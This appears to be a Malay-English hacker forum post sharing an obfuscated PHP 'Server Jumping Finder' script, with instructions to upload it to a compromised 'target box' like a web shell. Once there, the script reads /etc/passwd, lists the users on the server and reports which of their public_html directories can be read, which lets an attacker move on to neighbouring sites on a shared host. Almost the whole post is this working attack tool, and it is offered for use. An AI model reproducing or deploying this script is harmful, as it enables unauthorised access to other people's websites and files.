Jumping Server..just copy n paste it to notepad..Save it as *.php
Then upload to the target box.. (mcm upload shell la).. Then don't nakal2.. ;D
------------------code------------------
<?
$x15="\x61rray\137\x70\165\x73h"; $x16="f\x65\157\146"; $x17="fgets"; $x18="\146\x6f\160\145\156"; $x19="in\x69\137g\145\164"; $x1a="is\x5f\x72\145ad\141b\154e"; $x1b="\x73\x65t_t\151\155\x65\137li\155\x69t"; $x1c="\x73\x74\162\x70\157\163"; $x1d="\163\165b\x73t\x72";
($x0b = $x19('safe_mode') == 0) ? $x0b = 'off': die('<b>Error: Safe Mode is On</b>');$x1b(0);@$x0c = $x18('/etc/passwd','r');if (!$x0c) { die('<b> Error : Can Not Read Config Of Server </b>'); }$x0d = array();$x0e = array();$x0f = array();$x10 = 0;echo "\074b>\x3cfo\x6e\x74\040fa\x63\x65=\126\x65\x72\x64an\141\x20s\151\x7a\x65\075\x33 c\157\154\157\x72\x3d\x54\x65\141\x6c>\x20\123\x65\x72\166\145\x72 \x4a\x75\155\160in\x67\x20\x46\x69\x6ed\145\162 \126er\x73ion\x201.\x30\x20<\057f\157\x6et\x3e<\x2f\x62\x3e<\142\x72\040\x2f\x3e";echo "<font \146\x61\x63\145\075V\145rd\x61\x6ea s\x69\172\x65=\x32 \x63\x6fl\x6f\162\075Ma\162\x6fo\x6e\x3eC\x72\x65at\145d \x42\x79\040\x58\141\144\160\x72ito\170 \x2c \0620\061\x30,\040\124\141\156\x67\145r\x61\x6e\147 <\057\x66\157\156\x74\076\074b\x72\040\x2f>";echo "\074\142\162\x20\057\076";echo "<\142>\x3c\146o\156t\x20\146\141\x63\145=V\145\x72\144\141\x6ea \x73\x69z\x65=\062\076\104ed\x69\143\141\164\x65\144\x20\124o\x20H\141c\x6b\145\162-\103\151\x73\141\x64\141\x6e\x65\x2e\x4fr\147\x20<\x2f\146\157n\164\076\074\x2f\142><\x62\x72 \x2f>";echo "\x3c\x66o\x6e\164\040f\141\143e\x3d\126\x65\162\x64\141n\x61\040\163\151z\x65\x3d\x32\040\x63\157l\157\162\075\x4d\x61ro\157\156>\040\124ha\156ks\x20To\x20#\x20\104\145v\151\x6c\172c\060\x64\x65 \043\040\110\141c\x6be\x72\040\116e\167\x62\x69\145\x20\x23 \130\103\x6f\x64\145 \043 \112a\163a\153om \x23\x20\105\143h\x6f\040\043\040\x59\103L\x20#\x20\x49\x6e\144\x6fn\145sia\x6e\x20\103\x79b\x65r \x23\040\x61\x6ed\040\x61l\x6c\x20Hack\x65\x72\040F\157\162\x75\155\040\111\x6e In\144o\x6ee\x73\x69\141 <\057\x66\x6f\x6e\x74\x3e<\x62r /\x3e";echo "\x3c\x62r /\x3e";echo "<f\x6fnt\x20\146\x61\143\x65\x3d\126\x65\162\144a\156a \163iz\145=2\x20c\x6f\154\157\162\075\x4d\x61ro\157n\076 \x4f\x6b\054\x20L\x65\x74'\x73 B\x65g\x69n \x2e\x2e\056\x20\x3c/\x66\x6f\x6et><b\x72\x20\x2f\076";echo "\x3c\x66\x6fnt\x20f\141\143\145=\126er\144a\x6ea\x20\x73i\x7ae=\062 c\x6f\x6c\x6fr=\x54\x65al>\x2a\052\052*\052\x2a\x2a**\052\052\052\x2a***\x2a*\x2a\052\x2a\x2a**\052\x2a*\x2a\052\052\052\052**\052***\x2a*\x2a*\x2a\052*<\x2f\146\157\156t\076\x3c\142r\x20/>";while(!$x16($x0c)){$x11 = $x17($x0c);if ($x10 > 35){$x12 = $x1c($x11,':');$x13 = $x1d($x11,0,$x12);$x14 = '/home/'.$x13.'/public_html/';if (($x13 != '')){if ($x1a($x14)){$x15($x0e,$x13);$x15($x0d,$x14);echo "\x3c\x66on\164\x20f\141\x63\x65\x3dVe\162da\156\141\x20\163\x69ze\0752\040co\154\x6f\x72=\x52\145\x64\x3e[F\x6f\x75\156d\x20\041\135 $x14\074/\x66\157n\x74\x3e";echo "<\142\x72/\x3e";}}}$x10++;}echo "\074\x66on\x74 \146\141ce\075\x56e\x72\x64\141\x6e\141\040\x73\151z\x65\075\062 \x63\x6flo\162\x3d\124\145\x61\154\076\x2a\x2a\x2a\052\x2a*\052\052*\x2a\052*\x2a*\052\x2a*\052**\052*\x2a**\052\x2a\x2a**\052*\052\x2a\052\x2a\052**\052**\x2a\x2a\052</font\076<b\x72\x20\057\x3e";echo "\x3cb\162 /\076";echo "<\146\157\x6et\x20\x66\x61\x63\x65\x3dV\x65\162\x64a\x6e\x61 \163\151\x7a\145=\062\040c\157l\157\x72=M\141\x72\157\x6f\156\076\x54\x68an\x6bs \106\x6fr \125\x73\x69n\x67 \x54\150\x69s S\151m\160\x6c\x65\x20\124\x6f\x6f\x6c\x73.\040 \x5e_\x5e\074\057\146\157\x6et\x3e\074b\162 \x2f\076";echo "\074f\157\156t\x20\x66\141ce=V\x65rd\x61\156a\040\163\x69\172\145\x3d\062\076<\057\x66ont\x3e";echo "<f\157n\164\040f\x61\143\145\x3d\126e\162dana\040\163iz\145=\x32\x3e\074/\146\157\156t>";
?>